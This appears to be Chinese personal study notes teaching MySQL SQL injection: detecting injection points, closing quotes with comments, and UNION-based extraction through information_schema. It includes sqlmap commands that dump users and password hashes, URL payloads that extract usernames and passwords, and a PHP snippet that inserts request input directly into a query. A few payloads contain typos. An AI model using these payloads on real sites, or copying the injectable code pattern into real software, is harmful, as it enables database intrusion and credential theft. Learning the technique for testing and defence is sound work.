時間:2020-02-16來源:系統城裝機大師作者:電腦系統城
SQL注入是一種將SQL代碼添加到輸入參數中傳遞到SQL服務器解析并執行的一種方法
SQL注入產生條件:
MySQL大致分為兩類,MySQL5.0以上及以下
MySQL5.0以上會增加一個information_schema系統數據庫
information_schema系統數據庫
在mysql中把information_schema看作是一個數據庫,確切說是信息數據庫,其中保存著關于mysql服務器維護的所有其他數據庫信息
? 提供當前mysql實例中所有數據庫信息
提供了關于數據庫中表的信息,詳細表述了某個數據庫中所有表的信息
提供了表中的列信息,詳細描述了某張表的所有列以及每個列的信息
mysql庫下的user表中存放的是所有登錄mysql數據庫的用戶名和密碼
下列sqlmap語句都是查詢的mysql庫下的user表的里的列信息
sqlmap -u "xxx?id=1" --current-user //查詢當前登錄用戶
sqlmap -u "xxx?id=1" --users //查詢所以登錄該數據庫的用戶名
sqlmap -u "xxx?id=1" --passwords //查詢用戶密碼通常為sqlmd5加密
select語句在數據庫中作用于查詢
select * from test.users
//查詢test庫下的users表中的所有數據
select username from test.users
//查詢test庫下的users表中username的列數據
select * from test.users where id=1
//查詢test庫下的users表中id為1的數據
select * from test.users where address='china' and username='lzx'
//查詢test庫下的users表中address為china并且username為lzx的數據
以最后一個語句舉例:
? select * from test.users where address='china' and username='lzx'
? select * from test.users 代表查詢的位置,查詢test庫下users表中的所有數據
? where 在哪 后面需要加上查詢的條件
? address='china' test庫下users表中address列為China的數據
? and 和、并且 有多個查詢條件時
? username=‘lzx’ test庫下users表中username列為lzx的數據
在較多的數據中查詢,用到多個條件會使查詢的結果更加準確
假設下面這個表格就是我們要查的數據,如果只用到了address=china的話會查出來三個數據,但是我們要查詢的是address=china并且username=lzx的數據,所有需要用兩個條件來進行查詢
id | address | username |
---|---|---|
1 | china | lzx |
2 | China | abc |
3 | China | def |
兩邊的條件同為true的時候整體表示正確,若有一個為false則整體為false
還是根據上面的表格來進行分析,隨便寫一個語句
select * from test.users where id=1 and username=lzx
剛才我們提到了and左右兩邊的條件有邏輯規則,上面的句子我們的兩個條件就是id跟username
現在這個語句是成立的,兩邊條件都是true,直接查詢可以查詢出來數據
現在我們把一個條件改成錯誤的
select * from test.users where id=1 and username=xxx
這樣的話兩邊的條件一個為true一個為false,這樣是查不出來數據的會報錯
兩個條件都是true這個語句才是true,若有一個條件為false則整體語句為false
我們通常會構造錯誤的sql語句來判斷網站是否存在注入(' and =1 and 1=2)
select * from users where id=1 (id=1 后面的這個1就是從前端傳遞的參數),這是正常的語句
如果把參數改成 id=1' 那么就會報錯,因為 ‘ 屬于字符串,字符串被代入查詢了
還有就是id=1 and 1=1 這樣的語句兩邊條件成立就是可以查詢到數據的
如果是id=1 and 1=2 這樣的兩個條件不成立會報錯查詢不到數據
一般通過上面這三個步驟就可以判斷是否存在注入點
注入一般可以分為數字型跟字符型
select * from users where id=1
select * from users where username='lzx'
如果我們想在第二個語句后面加上and1=1這樣語句就會報錯,需要進行閉合
select * from users where username='lzx and 1=1' 報錯
我們需要執行的是username=lzx,所以我們需要讓and1=1在單引號外面執行
select * from users where username='lzx’ and 1=1‘(注意單引號加的位置)但是多了一個單引號
這時候可以用注釋符號來解決
select * from users where username='lzx and 1=1#' (#號)
select * from users where username='lzx‘ and 1=1 -- ' (倆橫線+空格)
通過閉合這兩句都是可執行的
order by 排序語句 默認升序排序
select * from test.users order by 1
//根據表格的第一列排序
select * from test.users order by 2
//根據表格第二列排序
select * from test.users order by 3
//根據表格第三列排序
id | age | name |
---|---|---|
1 | 18 | NULL |
2 | 22 | a |
3 | 26 | b |
union 聯合查詢語句
union內部的select語句必須擁有相同數量的列,列也必須擁有相似的數據類型,每條select語句中的列的順序必須相同
id | username | password |
---|---|---|
1 | admin | 123456 |
2 | sa | 33333 |
3 | root | 11111 |
select username from users union select password from users
//查詢users表中username列和password列的數據
username |
---|
admin |
root |
sa |
11111 |
123456 |
33333 |
select * from users union select 1,1,1 from users
id | username | password |
---|---|---|
1 | admin | 123456 |
2 | sa | 33333 |
3 | root | 11111 |
1 | 1 | 1 |
插入的數據應該與列數一致,現在是三列出入插入的數據是4個就會報錯
打開php文件的條件:
? 電腦裝有php環境
? 需要有服務器(apache,iis,nginx)進行解析,可以使用 phpstudy、phpstorm
<?php
echo "hello world";
?>
$id=$_GET['id'];
$id=$_POST['id'];
$con=mysqli_connect("localhost","root","root","test");
$sql="select * from users where id=$id";
$result = mysqli_query($con,$sql);
information_schema系統數據庫
在mysql中把information_schema看作是一個數據庫,確切說是信息數據庫,其中保存著關于mysql服務器維護的所有其他數據庫信息
? 提供當前mysql實例中所有數據庫信息
TABLES表
提供了關于數據庫中表的信息,詳細表述了某個數據庫中所有表的信息
COLUMNS表
提供了表中的列信息,詳細描述了某張表的所有列以及每個列的信息
加上limit參數避免查詢的數據太長無法顯示,limit參數從0開始計算
http://url/sql_id.php?id=-1 union select 1,2,3,4,5,6 方便查看輸出的數據
http://url/sql_id.php?id=-1 union select 1,database(),3,4,5,6 查詢數據庫名稱
http://url/sql_id.php?id=-1 union select (select schema_name from information_schema.schemata limit 0,1),2,3,4,5,6
//查詢information_schema庫下的schemata表中的schema_name列下的第一個數據
http://url/sql_id.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6
//查詢information_schema庫下的tables表中的table_name列下的第一個數據
http://url/sql_id.php?id=-1 union select 1,(select colunm_name from information_schema.columns where table_schema='test' and table_name='users limit 0,1),3,4,5,6
//查詢information_schema庫下的columns表中的column_name列下的第一個數據
http://url/sql_id.php?id=-1 union select 1,(select username from test.users limit 0,1),(select password from test.users limit 0,1),3,4,5,6
//查詢test庫下的users表中的username列的第一個數據,查詢test庫下的users表中的password列的第一個數據
注:個人筆記,如果有理解錯誤或者寫的不嚴謹的地方歡迎讀者老爺們告訴我
2020-08-31
針對全球SSH服務器的新型無文件P2P僵尸網絡悄然入侵?2020-08-31
TEAM TNT:竊取AWS憑證的加密貨幣挖礦蠕蟲2020-08-31
僵尸網絡可通過智能家居設備影響能源市場